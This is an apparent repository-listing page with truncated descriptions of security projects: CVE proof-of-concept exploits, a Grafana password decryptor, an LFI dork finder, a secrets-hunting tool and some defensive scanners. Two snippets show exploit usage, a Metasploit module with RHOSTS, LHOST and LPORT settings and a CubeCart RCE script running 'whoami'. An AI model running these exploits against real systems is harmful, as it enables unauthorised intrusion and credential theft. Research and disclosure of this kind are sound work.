jadx-magic-strings

JADX Magic Strings Plugin A JADX plugin that extracts information from string constants. Features The plugin extracts and analyzes string constants from decompiled code to find: 1. Source File References : Detects references to Java/Kotlin source files .java, .kt, .kts, .scala, .groovy in string...

CVE-2026-54984

CVE-2026-54984 Windows ICC file parsing out-of-bounds write — remote code execution Reported through the Zero Day Initiative as ZDI-CAN-30441 , published as ZDI-26-543 , fixed by Microsoft in the August 2026 update cycle. Hi, I'm Kağan Çapar. I reported this vulnerability to the Zero Day...

peach

Peach Fuzz - Vulnerability Scanning Framework This tool aims to look through files in a given directory to detect any unsafe, vulnerable, or dangerous function calls. It is designed to be extensible and easy to understand; you can "plug-and-play" modules that specify criteria on which types of...

Lfi-Space

🪐 LFI-SPACE TOOL 🪐 Written by TMRSWRR Version 1.0.0 All in one tools for LFI VULN FINDER -LFI DORK FINDER Instagram: TMRSWRR 📷 Screenshots 📷 👇 💫 How to use 💫 👇 📒 Read Me 📒 LFI Space is a robust and efficient tool designed to detect Local File Inclusion LFI vulnerabilities in web applications. Thi...

CVE-2021-38163

CVE-2021-38163 CVE-2021-38163 - exploit for SAP Netveawer SAP NetWeaver Visual Composer 7.0 RT versions - 7.30, 7.31, 7.40, 7.50, without restriction, an attacker authenticated as a non-administrative user can upload a malicious file over a network and trigger its processing, which is capable of...

Grafana-Decryptor-for-CVE-2021-43798

Grafana Decryptor for CVE-2021-43798 This script decrypts the DataSource passwords from a Grafana instance vulnerable to CVE-2021-43798, which allows unauthorized arbitrary file reading. Description Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a directory traversal vulnerability...

ipatool

ipatool is a command line tool that allows you to search for iOS, iPadOS, tvOS, watchOS, visionOS, and macOS apps on the App Store, and download .ipa or macOS .pkg app packages. Requirements A supported operating system macOS, Linux, Windows or iOS. An Apple Account already configured to use the...

Mitel-MiCollab-Auth-Bypass_CVE-2024-41713

CVE-2024-41713 Mitel MiCollab Authentication Bypass to Arbitrary File Read See our blog post for technical details / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / / watchtowr-vs-MiCollab2024-12-05.py Mitel MiCollab Authentication...

CVE-2023-46818

Metasploit-module Metasploit Module use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language fi...

CVE-2025-52078

🚨 CVE-2025-52078 - Unauthenticated Arbitrary File Upload - Writebot SaaS React Template This repository contains a proof-of-concept exploit for an Unauthenticated Arbitrary File Upload vulnerability found in the Writebot – AI Content Generator SaaS React Template. 🧠 Product Page: ThemeForest –...

CVE-2024-6330

CVE-2024-6330 GEO my WordPress ivv900fnzbln0dem43z7zmzjjgigz...

TRAI-001-Critical-RCE-Vulnerability-in-Apache-Parquet-CVE-2025-30065-Simulation

TRAI-001 CVE-2025-30065: Apache Parquet Remote Code Execution RCE Exploit Simulator Demo Screenshot Simulator interface demonstrating the exploit chain 📌 Overview This repository contains an educational simulation of CVE-2025-30065, a critical Remote Code Execution vulnerability in Apache Parquet...

CVE-2022-29622

CVE-2022–29622: Invulnerability Analysis This codebase was created to help security professionals and developers to understand why I think Formidable was not vulnerable to CVE-2022-29622. I have written up my analysis here: CVE-2022–29622: Invulnerability Analysis As some did not understand it, I...

cve-2025-24985

cve-2025-24985 احسب عدد عناقيد ملف VHD لاكتشاف تجاوز السعة. قطاعات الإقلاع المدعومة: MBR GPT الاستخدام python -m cve202524985 -f الإعداد Nix With direnv: direnv allow Or Without direnv: nix develop Peotry قيد العمل Docker قيد العمل قائمة المهام: بناء libvhdi تلقائيًا باستخدام poetry إعداد تثبيت...

fsmon

fsmon أداة مراقبة نظام الملفات منخفضة المستوى لأنظمة Linux و Android و iOS و macOS. المؤلف : pancake @ nowsecure الترخيص : MIT مصممة لـ مسؤولي النظام ومستجيبي الحوادث باحثي الأمن ومحللي الطب الشرعي المطورين الذين يقومون بتصحيح التطبيقات الثقيلة I/O مهندسي الهندسة العكسية المهتمين بمراقبة سلوك...

CVE-2024-33438

Arbitrary File Upload Leads to RCE CVE-2024-33438 CubeCart After running it, this is the expected output for a successful exploitation: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 Identify all log4j components across all windows servers, entire domain, can be multi domain. CVE-2021-44228 Will scale to 1,000+ windows servers, 250+ servers at a time. 1k servers took about 1 1/2 hours. Apache log4j CVE-2021-44228 Single Server Version: Single Server...

CVE-2022-3910

CVE-2022-3910 poc dirtyfile dirtymm...

pillager

Pillager قم بنبش أنظمة الملفات للحصول على معلومات حساسة باستخدام Go. جدول المحتويات 1. الملخص 2. التثبيت 3. الاستخدام 4. التسريب 5. التوثيق الملخص تم تصميم Pillager لتوفير وسيلة بسيطة للاستفادة من نموذج التزامن القوي بلغة Go للبحث بشكل متكرر عن المعلومات الحساسة في الملفات داخل الدلائل. يقوم...

CVE-2026-32475

PoC CVE-2026-32475 : Téléversement arbitraire de fichier non authentifié vers RCE dans Elementor Pro Téléversement arbitraire de fichier avant authentification menant à l'exécution de code à distance dans Elementor Pro Preuve de concept pour CVE-2026-32475, un téléversement arbitraire de fichier...